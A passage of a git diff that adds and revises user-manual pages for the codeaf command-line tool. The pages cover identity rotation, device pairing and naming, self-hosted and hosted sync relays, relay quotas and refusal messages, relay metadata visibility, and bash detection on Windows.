With sync off it says `a rotation needs a relay`. + +``` +usage: codeaf identity rotate [--grace 7d] [--yes] [--abandon] +``` + +## What a rotation does — the steps, in order + +1. It tells you the cost first, and asks. It says how many chats you have, how many are not on this computer, how many megabytes go up and about how long that takes. Answer `n`, or press ctrl+c, and nothing has changed. +2. It fetches the chats this computer does not hold yet. This can take a long time for big chats. You can still cancel. +3. It makes the new identity and writes it down on this computer, before it sends anything. +4. It shuts the old identity on the relay. Nobody can write to it any more, this computer included. Your other computers show that your chats are moving, and wait. +5. It seals every chat and your saved keys again under the new keys and puts them on the relay under the new identity. +6. It checks that the relay has everything. +7. This computer switches to the new identity. This is the step after which there is no way back. +8. It asks the relay to delete the old identity after a grace period. The default is 7 days. Use `--grace` to change it: the relay takes 1 hour to 30 days. + +When it is done it says: + +``` +rotated. your chats now belong to id_… (was id_…). +other computers: run /pair here, then `codeaf pair ` there, for each one. +the old copy on the relay is read-only and is deleted on 2026-10-08. +a computer you lost still holds everything it had: your chats up to now and every secret in your vault. +change these at their providers: OPENROUTER_API_KEY +``` + +## The rotation stopped half way — resume it or abandon it + +If `codeaf identity rotate` stops half way, because the network dropped or the computer went to sleep, run it again. It finds what it had done and finishes. It never makes a second new identity. While a rotation is unfinished, the computer does not sync, and says `a rotation is unfinished on this computer; run codeaf identity rotate to finish it`. + +To stop a rotation before step 7, run `codeaf identity rotate --abandon`. The old identity opens again and nothing has changed. After step 7 the only way is forward: it says `already switched to the new identity`. + +If the computer that started the rotation is lost too, run `codeaf identity rotate --abandon` on another computer that still has the old identity. It opens the old identity again. + +## What a lost computer still keeps — be plain about it + +A rotation does not reach into the lost computer. **It keeps everything it already downloaded:** every chat it has, every saved key in its vault, and the old copy of your chats on the relay until the relay deletes it, after the grace period. Copies of that old data that anyone kept, such as a backup, stay readable for ever, because the old keys open them. + +After a rotation the lost computer cannot sync any more, cannot write to your chats, and cannot read anything you do from then on. + +**Your provider keys are not changed.** An OpenRouter key or an Anthropic key is owned by the provider, not by codeaf. The lost computer still has the keys that were in your vault. Go to each provider and make a new key. The card at the end lists the names of the keys, never the values. + +Remote access is a different door. A machine you let in with `codeaf serve` is not changed by a rotation. `codeaf devices` still lists it. Stop it there with `codeaf devices revoke `. + +## Pair your other computers again — each one follows the replacement + +After a rotation, each computer you keep is still on the old identity. It stops syncing, and says once: `your chats are moving to a new identity; when that is done, pair this computer again (/pair on the computer that moved them)`. + +When the relay has deleted the old identity, after the grace period, it says: + +``` +your identity was replaced and the relay has deleted the old one; pair this computer again (/pair on a computer that has the new one) +``` + +On the computer you rotated on, type `/pair`. On the other computer, use the code: `codeaf pair `, or `/pair ` in the chat. Compare the three words as always. + +That computer follows the replacement. It does not need `--replace`. It keeps its own chats and its saved keys. + +A computer that was never on your old identity is refused as before, and keeps its own chats. + +## Who rotates first wins — the one risk + +Every computer that holds your identity can run `codeaf identity rotate`, and so can a thief who holds it. The relay cannot tell you apart. The first one to shut the old identity wins. + +So do it at once. If you run it and it says `this identity was already rotated; the new one is on the device that did it`, someone else got there first. The new identity is on that computer, not on yours. + +If a rotation of the identity is already under way and this computer has no record of it, it says: + +``` +a rotation of this identity is already under way; if it is yours and was cut off, run codeaf identity rotate --abandon, otherwise wait for the computer that started it +``` + +A relay that does not know how to do this says `this relay cannot replace an identity: it is too old for that`. Nothing has been fetched or changed when you read either sentence. + +A way to prove you are the owner with a written recovery phrase is not built. + +## What it costs — every chat goes up again + +A rotation uploads everything your chats hold, once, because the new identity starts empty. The plan it shows before you answer gives the number. A chat of 200 MB goes up as 200 MB. The transfer takes your network bandwidth and uses relay storage; the old and new copies count towards its limits during the grace period. There is no fixed price or duration promised by the command. + +While the old identity is kept for the grace period, the relay holds both copies. + +Each computer you pair again sends what it has for a chat the first time it works on it, because it starts with an empty list of what the relay holds. diff --git a/internal/manual/chat/losing-every-device.md b/internal/manual/chat/losing-every-device.md new file mode 100644 index 0000000000..2bff1d769f --- /dev/null +++ b/internal/manual/chat/losing-every-device.md @@ -0,0 +1,18 @@ +# If I lose every computer + +## I lost all my devices — can I get my chats back + +**No. There is no recovery.** Your chats are sealed under keys that only your computers hold. The relay has only ciphertext. Nobody, including the operator of the relay, can open it or hand you a key. There is no account, no email link and no reset. + +If you still have one computer that holds your identity, pair a new one from it: `/pair`, or see "I got a new laptop". If you have **none**, the chats on the relay cannot be read by anybody. They stay there sealed until the relay is cleared. + +Only two things can save you before that day: + +- **An identity file.** `codeaf identity export` writes your identity under a passphrase, and `codeaf identity import` reads it on a new computer. Keep the file and the passphrase in a safe place, apart from the computer. +- **One computer that you keep.** A second computer that is paired is a backup. + +## Can I change my identity — identity rotate + +If one trusted computer remains, **`codeaf identity rotate` works now**. It makes a replacement identity, seals your chats and saved keys under it, and retires the relay's old copy after the grace period. Pair the computers you keep again from that replacement. Read *Locking out a lost computer for good* for the steps and limits. + +Rotation needs the old identity on a surviving computer. It cannot recover an identity when every copy, including any exported identity file and its passphrase, is lost. Revoking or rotating cannot take back chats and keys already downloaded by a lost computer; change exposed provider keys at their providers. diff --git a/internal/manual/chat/making-pictures-audio-and-video.md b/internal/manual/chat/making-pictures-audio-and-video.md index 5769026fac..e0742f2949 100644 --- a/internal/manual/chat/making-pictures-audio-and-video.md +++ b/internal/manual/chat/making-pictures-audio-and-video.md @@ -598,13 +598,19 @@ In one of three places, decided by whose folder the workspace is: - If the session **owns** its workspace (codeaf made it), files land straight in it, like anything else the work produced. -- If the workspace is **your repository**, they land in the session's own - `artifacts/` folder instead, so nothing of codeaf's is dropped in your project. +- If the workspace is **your repository**, they land in the conversation's own + artifacts folder instead, so nothing of codeaf's is dropped in your project. + That folder is part of the conversation itself, so the files travel with it: take + the conversation up on another machine and the pictures, audio and video it made + are there too, listed in `/files` on that machine. A conversation made before this + is brought in the first time you open it. - With no session folder at all, they land under `/.codeaf/images`, `/audio`, `/music` or `/video`. Either way every generated file gets a row in the deliverables index, so -`/files` finds it again later by name and date, from any directory. Give the +`/files` finds it again later by name and date, from any directory. A conversation +keeps its own list of the files it made, and each machine builds its index from +those lists, so a conversation you take to another machine shows its files there. Give the tool an explicit `path` and that decision is yours instead. **A saved program lands its files in the same three places**, and they get the diff --git a/internal/manual/chat/models-and-cost.md b/internal/manual/chat/models-and-cost.md index f40f976fb3..1cd70db002 100644 --- a/internal/manual/chat/models-and-cost.md +++ b/internal/manual/chat/models-and-cost.md @@ -3951,6 +3951,8 @@ unchanged, and **without the path header in front of them**, because the reason it is that another program — `jq`, a script, a spreadsheet — is reading what comes out. The filters apply first, so `--json --tag leaf` is exactly the leaf rows and nothing else. +## Open one logged call’s body — the raw request and reply + `--body` takes a call id and prints the request and reply that were recorded for it, looking first in the run trace (`~/.codeaf/logs/trace//calls/.json`) and then in the kept-failure folder (`~/.codeaf/logs/failures/.json`). **Neither is written yet.** @@ -3965,6 +3967,8 @@ That is the truthful answer and not a fault. Until those land, the way to get th bytes is `CODEAF_CALL_LOG_BODIES=1`, described below, which puts them on the log line itself. +## Read call log lines — in flight, missing numbers, and file rotation + **A call still running shows as `⋯ in flight`.** That is the reason a line is written when a call goes *out* as well as when it comes back: a planning call four minutes into a 65,536-token ceiling used to look exactly like a machine doing nothing. diff --git a/internal/manual/chat/naming-a-device.md b/internal/manual/chat/naming-a-device.md new file mode 100644 index 0000000000..fcaf316266 --- /dev/null +++ b/internal/manual/chat/naming-a-device.md @@ -0,0 +1,62 @@ +# Naming a device + +## Why does it show my hostname — the host name is the default until a device is named, and where a name appears + +Moving chats and pairing are available by default on Linux, macOS and native Windows on every build with a compatible engine. Pair both computers first. + +Only chats started after moving chats became available can be continued on another computer. Older chats stay where they are and keep working in every build. + +Every screen that names a device uses one name for it: the home rows (`running on spark`, `spark offline`), `Continue spark's latest chat here?`, the approve screen, `spark is now paired. Your chats can continue there.`, `/devices`, and the line after a move, `Moved from spark in 4s`. A device is called by its host name, the word your operating system already uses for it, until you give it a name. A name is only a label. It is not a key and it signs nothing, and renaming a device changes nothing about what it can reach. + +Because you never named this device, it kept the default. Name it and every other device shows the new name. + +## How do I name a device when it joins — codeaf pair --name + +On the new device, type `codeaf pair`. In a terminal it asks once, with the host name filled in: + +``` +Your other devices will call this computer "spark". Press Enter to keep that, or type another name: +``` + +Press Enter to keep the host name, or type a name and press Enter. To say it without being asked, type `codeaf pair --name "atlas"`. It works with a typed code too: `codeaf pair 42-715-302 --name "atlas"`. The device that approves shows that name when it asks you to approve. + +## How do I rename a device later — codeaf devices rename and the n key + +Type this on the device you mean: + +``` +codeaf devices rename "atlas" +``` + +Or open `/devices`, stay on the row marked `this device`, and press `n`. The name is filled in under the list: + +``` +name this device: atlas▏ +enter save · ctrl+u clear · esc cancel +``` + +Edit it and press enter to save, ctrl+u to clear it, esc to leave it as it was. A device renames itself, so `n` on any other row says `a device renames itself — choose this device's row, or open /devices on the one you mean.` To rename a device, rename it on that device. + +After a rename it says: + +``` +This computer is now called atlas on all your devices. +``` + +Your other devices show the new name the next time they list devices or draw a home row. If the sync service cannot be reached at that moment, the device keeps the name and says: + +``` +This computer is now called atlas. Your other devices will show it after this one next connects. +``` + +You do not type it again. A device that is not paired with anything yet says `This computer is now called atlas.` + +## What can a device name be — length, spaces, control characters and duplicates + +One to 32 characters you can see. Spaces at the start and end are dropped. A name that cannot be used is refused, not cut or repaired, with one of these: + +- `a device name needs at least one visible character` +- `a device name is at most 32 characters` +- `a device name cannot hold control characters or line breaks` + +Two devices may have the same name. `/devices` then adds a short tail, such as `spark #a1b2`, so you can tell them apart. diff --git a/internal/manual/chat/reaching-this-machine-without-ssh.md b/internal/manual/chat/reaching-this-machine-without-ssh.md index fb98ca5eef..7ca5f9f885 100644 --- a/internal/manual/chat/reaching-this-machine-without-ssh.md +++ b/internal/manual/chat/reaching-this-machine-without-ssh.md @@ -1,5 +1,20 @@ # Reaching a machine with a pairing code +## Two codes, two grants — remote access and your chats + +You learn one thing: **a code shown on a screen you own, typed on the other computer.** A code can grant two different things. They stay two things, because they are two different powers. + +| | remote access (`codeaf serve`, `codeaf chat --at `) | your chats (`/pair`, `codeaf pair`) | +| --- | --- | --- | +| What the other computer gets | a key to this machine's tools: a hand on that one machine | your identity: your chats, your saved keys and your sync, on every computer you own | +| The code | six digits, shown `715 302`, typed with the name of the machine | a number, then six digits, shown `42-715-302`; the number is the place, so the code carries it | +| This machine must | stay on and stay connected | be there only while you pair | +| Who can undo it | this machine alone, with `codeaf devices revoke `, at once | you, with `codeaf devices revoke `, but it cuts the relay only; see the page *Pairing your chats with a second computer* | + +**One code never gives both.** A code for your chats does not give a shell on any machine. A code for a machine does not give your chats. + +Both codes are good for 10 minutes and take 1 attempt. For both, the two screens show the same three words, and a person answers `y / n` on the machine being opened. The page *Pairing your chats with a second computer* has the chats door. + ## Reaching a machine behind a router or a firewall `--host` needs `ssh ` to already work. When it does not — a home server behind a @@ -10,7 +25,7 @@ name that prints, with a pairing code instead of a key. ``` big-machine$ codeaf serve this machine is reachable as otter-lamp-42 - pair a new device with code 715 302 (valid 10 minutes) + let a device use this machine with code 715 302 (valid 10 minutes) laptop$ codeaf chat --at otter-lamp-42 ``` @@ -23,7 +38,7 @@ firewalls and NAT stop mattering. on, `--at` prints: ``` -no relay is set up on this machine, so --at has nowhere to look for otter-lamp-42 — set CODEAF_RELAY to a relay's address, or reach that machine with --host over ssh +no service address is set up on this machine, so --at has nowhere to look for otter-lamp-42 — set CODEAF_RELAY to a service address, or reach that machine with --host over ssh ``` `--host` works today and is not going anywhere. If you can already reach the machine that @@ -35,14 +50,14 @@ Run it on the machine that owns the work — the one with the files, the API key things you have set up: ``` -codeaf serve [--workspace path] [--relay https://…] +codeaf serve [--workspace path] [--via https://…] ``` It prints, exactly: ``` this machine is reachable as otter-lamp-42 - pair a new device with code 715 302 (valid 10 minutes) + let a device use this machine with code 715 302 (valid 10 minutes) ``` **The name is not chosen, it is derived from that machine's own key.** Two words and two @@ -50,19 +65,19 @@ digits, the same every time, on any relay. You cannot pick a nicer one, and nobo can register under yours while your machine is connected. `--workspace` is the directory a connection works in when it does not name one; empty -means the directory you ran the command in. `--relay` beats the `CODEAF_RELAY` +means the directory you ran the command in. `--via` beats the `CODEAF_RELAY` environment variable. Running it twice on one machine is refused, because there is only one of it: ``` -this machine is already connected to the relay as otter-lamp-42 — there is only one of it, so close the other `codeaf serve` +this machine is already connected to the service as otter-lamp-42 — there is only one of it, so close the other `codeaf serve` ``` With no relay set up at all it says: ``` -no relay is set up on this machine, so there is nowhere to be reachable from — set CODEAF_RELAY to a relay's address, or let people in over ssh with `codeaf chat --host` from their side +no service address is set up on this machine, so there is nowhere to be reachable from — set CODEAF_RELAY to your service address, or let people in over ssh with `codeaf chat --host` from their side ``` Ctrl+c ends it, and the machine gives its name back on the way out: @@ -87,7 +102,23 @@ a paired device is a key to that machine: it opens conversations there, runs wha enter the code shown on otter-lamp-42: ``` -Type `715 302` or `715302` — spaces and dashes are thrown away. Then: +Type `715 302` or `715302` — spaces and dashes are thrown away. Then this device shows three words and waits: + +``` +waiting for approval on otter-lamp-42; it should show: amber fox dune +``` + +The words are the check. The machine shows the same three words and asks the person at its terminal, which is you: + +``` +"laptop" wants to use this machine. Same three words on that screen: amber fox dune? y / n +``` + +**There is no default.** Enter alone does nothing. Answer `y` only if both screens show the same three words. If they differ, answer `n`: somebody else may have used the code. On `n`, or with no answer for 2 minutes, this device says `refused on the other device` and the machine says `a device asked to pair and was not let in`. + +**A machine with nobody at its terminal admits nobody.** When `codeaf serve` does not run in a terminal, there is no person to answer `y / n`, and the answer is no. Run `codeaf serve` in a terminal you watch while you pair. + +On `y`, the device says: ``` paired. this device is now a key to otter-lamp-42. @@ -104,21 +135,24 @@ That second sentence belongs to a device somebody deliberately stopped. A machin cannot write the pairing down does not say it held: it refuses the pairing instead, and what you get is the sentence below for a code that did not work. -**A code is good for 10 minutes and for 5 attempts, whichever runs out first**, and one -successful pairing spends it — the machine shows a fresh one for the next device. A wrong -code says: +## How long a remote-access code lasts — one attempt and a wrong code + +**A code is good for 10 minutes and for 1 attempt, whichever runs out first.** Any attempt +spends the code, right or wrong, and the machine shows a fresh one at once — you do not +press a key. A wrong code says: ``` that is not the code shown on otter-lamp-42 — read it again, and note that it is only good for 10 minutes ``` **Guessing a code from outside does not work.** Only the machine that minted it can spend -an attempt against it, and it allows 5 before throwing the code away. A device that turns -up when there is no live code at all is told the same thing a wrong code is told, because -from its side it is the same fact. The machine's own screen is where the difference shows: +an attempt against it, and it allows 1 before throwing the code away. Then a person looks at +three words on two screens. A device that turns up when there is no live code at all is told +the same thing a wrong code is told, because from its side it is the same fact. The machine's +own screen is where the difference shows: ``` -a device tried to pair with the wrong code +someone typed a wrong code, so that code is no longer good a device tried to pair and there was no code to pair with ``` @@ -195,7 +229,8 @@ encrypted between the two ends. otherwise be easy for it. The six digits are exchanged with a password-authenticated key exchange, so a listener — the relay included — learns nothing about the code and cannot grind at it offline. The one way to test a guess is to run a whole attempt against the -machine that minted the code, and that machine allows 5 of them. +machine that minted the code, and that machine allows 1 of them. A person then compares three +words on both screens before anything is let in. After pairing, both ends have written down each other's key. Every later connection is a handshake between those two keys, so a relay that pointed you at the wrong machine gets a @@ -237,26 +272,30 @@ It prints which machine this is, where its key is kept, and the devices it lets this machine is reachable as otter-lamp-42 its key is kept in a file on this machine, readable only by you (~/.codeaf/v3/remote/device.key) -devices paired with this machine +devices that can use this machine laptop paired 3d ago · last here 2h ago desktop paired 12d ago -stop one with `codeaf devices revoke ` — it will need a new code to come back. +remove one with `codeaf devices revoke ` — it will need a new code to come back. ``` -With nothing paired it says -`no devices are paired with this machine.` and how to pair one. A device that has never +If you also paired computers with `/pair`, a second group under the heading `your devices` lists them, and `revoke ` works on both groups. With nothing of either kind it says: + +``` +nothing is paired yet — run `codeaf pair` to add another device, or `codeaf serve` to let a device use this machine. +``` + A device that has never connected shows nothing where its last connection would be, rather than a zero. -To stop one: +To remove one: ``` codeaf devices revoke laptop ``` which answers -`laptop has been stopped — it can no longer open a conversation here, and it will need a new pairing code to come back.` +`laptop was removed — it can no longer open a chat here, and it needs a new pairing code to come back.` A name nothing matches says: @@ -264,7 +303,7 @@ A name nothing matches says: no device called "phone" is paired with this machine — `codeaf devices` lists the ones that are ``` -Two devices with the same name are refused rather than guessed at, and `--all` stops every +Two devices with the same name are refused rather than guessed at, and `--all` removes every device answering to that name: ``` @@ -277,10 +316,10 @@ the name or after it; `codeaf devices revoke --help` prints it. It used to be re it came first, so `codeaf devices revoke laptop --all` was refused with a usage line that did not mention `--all` at all. -Stopping one device with `--all` answers in the ordinary sentence — `laptop has been stopped -— it can no longer open a conversation here, and it will need a new pairing code to come -back.` Stopping several answers `2 devices called laptop have been stopped — each needs a new -pairing code to come back.` +Removing one device with `--all` answers in the ordinary sentence — `laptop was removed — it +can no longer open a chat here, and it needs a new pairing code to come back.` Removing +several answers `2 devices called laptop were removed — each needs a new pairing code to come +back.` **Revoking is always the decision of the machine that owns the work.** There is no way to do it from the device, and no way for a device to remove another one. @@ -317,19 +356,19 @@ There are four different reasons, and each says which one it is, in one sentence **No relay is set up on this machine:** ``` -no relay is set up on this machine, so --at has nowhere to look for otter-lamp-42 — set CODEAF_RELAY to a relay's address, or reach that machine with --host over ssh +no service address is set up on this machine, so --at has nowhere to look for otter-lamp-42 — set CODEAF_RELAY to a service address, or reach that machine with --host over ssh ``` **The relay is set up and not answering:** ``` -the relay at https://relay.example.com cannot be reached from here — check this machine's network, or reach that machine with --host over ssh +the service at https://service.example.com cannot be reached from here — check this machine's network, or reach that machine with --host over ssh ``` **The relay is fine and that machine is not connected to it:** ``` -otter-lamp-42 is not connected to the relay right now — run `codeaf serve` on that machine +otter-lamp-42 is not connected to the service right now — run `codeaf serve` on that machine ``` **This device has never been let in:** @@ -341,7 +380,7 @@ this device is not paired with otter-lamp-42 — run `codeaf serve` on that mach Two more you may meet. A machine that does not answer the handshake at all: `otter-lamp-42 did not answer this device's handshake, so nothing was sent — if that machine was rebuilt it has a new key and this device has to pair with it again`. And a relay that is turning connections away: -`the relay is turning connections away right now — try again in a minute` — it allows +`the service is turning connections away right now — try again in a minute` — it allows 30 connections a minute from one address. **A pairing that says the code was wrong when you are sure it was right** has one other @@ -436,3 +475,16 @@ set up, and no service to depend on. `--at` is for the machine ssh cannot reach. Both open the same surface with the same limits — what does and does not work over a connection is a property of the connection, not of which of these two doors opened it. + +## Running the relay yourself + +The relay is a program, and `codeaf relay --listen :8787` runs it (`relay --listen :8787` +from the separate `relay` binary is the same thing). Left like that it is the blind pipe +this page describes: it forwards the conversation and cannot read it. + +Given `--store ` it also keeps the shared directory and blob store that lets one +person's machines see the same chats: `codeaf relay --listen :8787 --store /var/lib/codeaf`. +Every request must be signed by one of that person's devices, each person's data lives +apart from everyone else's, and a restart keeps who holds each chat. Its log lists the +first characters of an identity id, the kind of request, the status and the byte counts, +never what was sent. Stop it with SIGTERM and requests already under way finish first. diff --git a/internal/manual/chat/relay-hosted-or-your-own.md b/internal/manual/chat/relay-hosted-or-your-own.md new file mode 100644 index 0000000000..e0febfeb80 --- /dev/null +++ b/internal/manual/chat/relay-hosted-or-your-own.md @@ -0,0 +1,59 @@ +# Hosted relay or your own relay + +## Hosted relay or my own — which one do I use, and where does sync go by default + +Moving chats and pairing are available by default on Linux, macOS and native Windows on every build with a compatible engine. Pair both computers first. + +Only chats started after moving chats became available can be continued on another computer. Older chats stay where they are, keep their original files, and keep working in every build. + +A relay is the small service your computers sync through. There are two kinds. Both speak the same wire: the chat cannot tell them apart. + +- **A hosted relay** is run for you on a cloud account. You do nothing to run it. You give the chat its address. +- **Your own relay** is the program `codeaf relay`. You run it on a computer you control. + +Either way the relay sees only ciphertext and the short list on "What can the relay see". + +**Where sync goes by default.** Unset, a computer syncs through codeaf's hosted relay at `https://codeaf.agentfield.ai/fabric`, once this build carries that address. The address lives in one place in the program, `HostedRelayURL`; a build whose value is empty has no default, and then nothing is copied and pairing says `no sync address is set, so there is nowhere to pair through: set CODEAF_SYNC_URL to a sync address, or pass --via
`. A new home sends no relay requests before completing a pairing or offering a code or link. Reading the add-device instructions does not start sync. Older identities without the quiet marker retain their earlier behavior: see "Is my code sent anywhere before I pair" on the page *Pairing your chats with a second computer*. To use your own relay instead, set `CODEAF_SYNC_URL` as below. Turn sync off with `CODEAF_SYNC_URL=off`; pairing cannot override that with `--via`. + +## Point codeaf at a relay — CODEAF_SYNC_URL, url or off + +Moving chats and pairing are available by default on Linux, macOS and native Windows on every build with a compatible engine. Pair both computers first. + +Set `CODEAF_SYNC_URL` in the environment of every computer that shares the chats. + +``` +CODEAF_SYNC_URL=https://relay.example.com codeaf +``` + +- **A web address** like `https://relay.example.com` or `http://host:8787`. Plain `http` is for trying it out inside an ssh tunnel. An address that is not a web address stops with `CODEAF_SYNC_URL is not a web address like http://host:8787`. +- **`off`** turns the relay off. Pairing then says `sync is off (CODEAF_SYNC_URL=off); pairing needs a sync address`. +- **Unset:** a computer that was paired with a named relay uses the relay the pairing saved. Otherwise it uses the hosted default above, if this build has one, and has none if it does not. + +Your own computers must all name the same relay and hold the same identity, or they see different chats. + +## Run my own relay — codeaf relay --listen and --store + +Moving chats and pairing are available by default on Linux, macOS and native Windows on every build with a compatible engine. Pair both computers first. + +``` +codeaf relay --listen :8787 --store /var/lib/codeaf +``` + +- `--listen` is the address to listen on. The default is `:8787`. +- `--store ` is where the relay keeps the directory and the chunks. **Without `--store` the relay only passes pairing and remote-access traffic. It keeps no chats, and sync does not work through it.** The directory is made if it is not there. +- `--quiet` turns the log off. `--status=false` turns off `GET /status`. +- `--trust-proxy` makes the pairing limits count the address in `X-Forwarded-For`. Use it only behind a proxy that sets that header, and never on a relay that faces the internet. + +Stop it with SIGTERM or ctrl+c: requests under way finish first. **The relay has no TLS of its own.** Put a proxy that ends TLS in front of it if any computer reaches it over a network you do not own. + +There is no Docker image for the relay. The page `docs/relay.md` in the repository says how to run, back up and upgrade it. + +## Who can use my own relay + +Moving chats and pairing are available by default on Linux, macOS and native Windows on every build with a compatible engine. Pair both computers first. + +**Any caller with a valid signature may make an identity and store on your relay.** The relay has no list of allowed people: an identity is made from a key, and the relay accepts any key. Keep your relay on a private network, a tailnet or behind a proxy that checks who calls. One identity cannot read another's data. + +## My sync service is too old to move chats — update before continuing here + +An older service can still pair computers and list or show chats, but this build refuses to move a chat through it. It says `the sync service must be updated before chats can move; codeaf's operators update the hosted service, or run this build of codeaf relay for your own service`. The hosted service is updated by codeaf's operators. For your own service, replace the running `codeaf relay` with this build. Reopen codeaf after the update; the service's answer is remembered for the current run. diff --git a/internal/manual/chat/relay-limits-and-refusals.md b/internal/manual/chat/relay-limits-and-refusals.md new file mode 100644 index 0000000000..ca68be69d3 --- /dev/null +++ b/internal/manual/chat/relay-limits-and-refusals.md @@ -0,0 +1,59 @@ +# Relay limits and refusals + +## The sync service must be updated before chats can move + +If an old service cannot safely decide which computer continues a chat first, no move is sent. The sentence is `the sync service must be updated before chats can move; codeaf's operators update the hosted service, or run this build of codeaf relay for your own service`. Pairing, listing and viewing keep working. codeaf's operators update the hosted service; update your own `codeaf relay` to this build. Reopen codeaf after the update. + +## Is there a storage limit on the relay — how much can I sync + +It depends on the relay. + +**A hosted relay has limits.** The hosted relay in this repository sets, for each identity: + +- 5 GiB stored, and 5,000,000 stored objects; +- 5,000 new chunks in a day; +- 1,200 requests a minute for the identity, and 600 for one computer; +- 2 chunks being sent at one moment; +- 16 MiB for one chunk, and 1 MiB for any other message. + +A chunk the relay already holds costs nothing again, so a computer that sends it twice is never refused for that. + +**A relay you run yourself has no limit of its own on an identity.** It stops only when its disk is full. + +## Too many new identities from one network + +The hosted relay lets one network make **200 new identities in a day**. A network is one IPv4 address, or one IPv6 block of /64 (changing the address inside your own block does not make a new network). Computers of an identity that exists are never counted. After 200 the relay answers `429` with the code `too_many_identities` and a `Retry-After` that says how many seconds are left until that network's day ends. A relay you run yourself has no such limit. + +Pairing has limits on both kinds of relay: 10 new codes in an hour for one network, and a relay holds at most 2,000 waiting pairings. The messages are on the pairing page, for example `too many pairings from this network; wait 7 min` and `sync is full right now; try again in a few minutes`. + +## What do I see when the relay says no + +**The chat says one plain sentence for each refusal.** The turns you save always stay on this computer, and they go up when the relay takes them again. What differs is what the chat says and how it tries again: + +- **The relay is full** (`507`, code `full`). The chat says `the relay has no room left (5 GiB), so new turns stay on this computer; free space there and reopen this chat`. The number is the stored-bytes ceiling the relay names in its answer (5 GiB on the hosted relay); when the relay names none, as a relay on its own disk does not, the chat leaves the brackets out: `the relay has no room left, so new turns stay on this computer; free space there and reopen this chat`. It says this at once, and then it stops trying: nothing you do in the chat can make room, so it does not ask the relay again until you reopen the chat. On the hosted relay the daily count of new chunks ends the same way, and it clears by itself the next day. +- **The relay asks this computer to slow down** (`429`, code `rate_limited`). The chat says nothing for the first 3 minutes, because a short burst clears by itself. If the refusals last longer, it says `the relay is asking this computer to slow down; new turns stay here and go up as soon as it allows`. It waits as long as the relay's `Retry-After` says, and never less than its own wait, which doubles after each failure up to 60 seconds. +## Too many identities, a removed device or a clock that is off — other relay refusals + +A refused upload leaves the saved turn on this computer. These are the other sentences: + +- **Too many new identities from this network** (`429`, code `too_many_identities`). The chat says `too many new identities from this network today — try again in about 3 hours` at once. The time is the relay's `Retry-After`, rounded up to minutes or hours; when the relay names none, the chat says `this network has started too many new identities today; sync begins when it allows more`. It waits as long as the `Retry-After` says, up to an hour at a time. +- **Another of your computers stopped this one** (`401`, code `revoked`). The chat says `this device was removed by another of your devices, so this chat stays here only — run `codeaf pair` to bring it back`, and does not try again: only a new pairing brings the computer back. +- **The clock is off** (`401`, code `skew`). The chat says `this computer's clock is off by more than 5 minutes`, once, and tries again at each normal turn of sync. + +Each sentence is said once for as long as the trouble lasts, and again if the relay answers in between and then refuses again. An unreachable relay is not a refusal: the chat says nothing about it and tries again with the doubling wait. + +On your own relay the full case is its disk: free space on the machine that runs it, then reopen the chat. + +## Is the hosted relay full for everyone — global admission and storage limits + +The hosted relay also has operator-controlled limits across all identities: by default, +10,000 new identities per day and 1 TiB of stored frame bytes. These are separate from your +identity's 5 GiB quota and the limit for one network. The operator may change the ceilings. + +When global admission is closed, a new identity gets `429 relay_admission_full` with +`Retry-After`; existing identities can still use the service. When the shared storage ceiling +is reached, new identities and new chunks get `507 relay_storage_full`. Existing chunks stay +readable, retries of a chunk already held are allowed, and retiring an identity still erases +its data and returns capacity. A local turn stays on this computer if upload is refused. +These operator brakes do not delete your existing data. There is no automatic expiry for +an identity whose computers have all gone silent. diff --git a/internal/manual/chat/relay-what-it-stores-and-sees.md b/internal/manual/chat/relay-what-it-stores-and-sees.md new file mode 100644 index 0000000000..30e817450d --- /dev/null +++ b/internal/manual/chat/relay-what-it-stores-and-sees.md @@ -0,0 +1,36 @@ +# What the relay stores and what it can see + +## What does the relay store — what is on the relay's disk + +The relay holds two things for each identity, kept apart from every other identity: a **directory** (one record for each chat, one for each of your computers) and a **store** of chat content. + +The content is in the store as **encrypted chunks**. Each chunk is sealed under a key that only your own computers have. The relay cannot open a chunk. It keeps the chunks you send, and your saved keys too: they travel as one more sealed chunk, like a chat. + +Two things in the directory are sealed before they leave your computer: **the title of every chat** and **the name of every computer**. The relay stores them as sealed text and cannot read them. + +There is no account on the relay. No email, no password, no name. Your identity is an id that starts with `id_`, made from your key. + +## What can the relay see — the metadata, my IP address, and what is not hidden from it + +**The relay cannot read:** your messages, your files, the titles of your chats, the names of your computers, your saved keys, the pairing code, the three words. + +**The relay can see, and keeps or logs:** + +- your identity id, and the id of each computer you use (an id, never a name); +- for each chat: its id, how big it is, when it last saved, which computer holds it, and the chat it was split from; +- for each computer: its operating system, processor type, and whether it has a sandbox or a copy-on-write disk; +- for each chunk: its size, and the ids of the parts inside it; +- when you connect, how often, and how much you send; +- the network address each request came from. + +A relay you run yourself logs only the first 8 characters of the identity id, the kind of request, the status and two byte counts. It never logs a body. An operator of a relay you do not run can do more than that; you cannot check it. + +The relay can also delete what it holds, or refuse to serve it. Keep a copy you care about on a computer of your own. + +## Does the relay see my code, my prompts or my files + +No. Turns, tool output and files are sealed on your computer before they are sent. The relay gets ciphertext and sizes. + +Your saved keys are sealed too, as said above. + +Continuing a chat on another computer brings its saved workspace files with its conversation, tool output and task journals. Rebuildable install folders and withheld files are listed on the arrival card. Secret files travel separately in the sealed vault between paired devices. See *Continuing a chat that one of your machines holds* and "What comes with a continued chat" on *Home*. It does not keep two arbitrary project folders mirrored while you edit them. diff --git a/internal/manual/chat/review.md b/internal/manual/chat/review.md index 472473b817..63ca9f1c4b 100644 --- a/internal/manual/chat/review.md +++ b/internal/manual/chat/review.md @@ -106,4 +106,4 @@ When the review found something, the chat also offers to hand the blocking findi - **It runs nothing**: no tests, builds or your app. What it finds, it finds by reading. - **It cannot be told anything while it runs.** Stop it and start it again with other words. - **It never posts on its own**: posting is its own run, on your yes. -- **It is absent on Windows**, as every program codeaf carries is there. +- **It is absent on Windows**. diff --git a/internal/manual/chat/running-commands-on-windows.md b/internal/manual/chat/running-commands-on-windows.md new file mode 100644 index 0000000000..3bb98bef7c --- /dev/null +++ b/internal/manual/chat/running-commands-on-windows.md @@ -0,0 +1,56 @@ +# Running commands on Windows + +## Which bash does codeaf use on Windows? (Git Bash) + +On Windows, codeaf runs commands in Git for Windows' bash (or another MSYS2-family bash). It looks in this order: + +1. `CODEAF_BASH`, an explicit path to a bash.exe. A missing file or a WSL launcher stops the command and names the variable and path. +2. Git found through `git.exe` on PATH, in `cmd`, `bin`, or `mingw64\bin`. If it is a package-manager shim elsewhere, codeaf asks `git --exec-path` (with a three-second timeout) and looks up at most four parent folders for Git Bash. A failed lookup falls through to the next step. 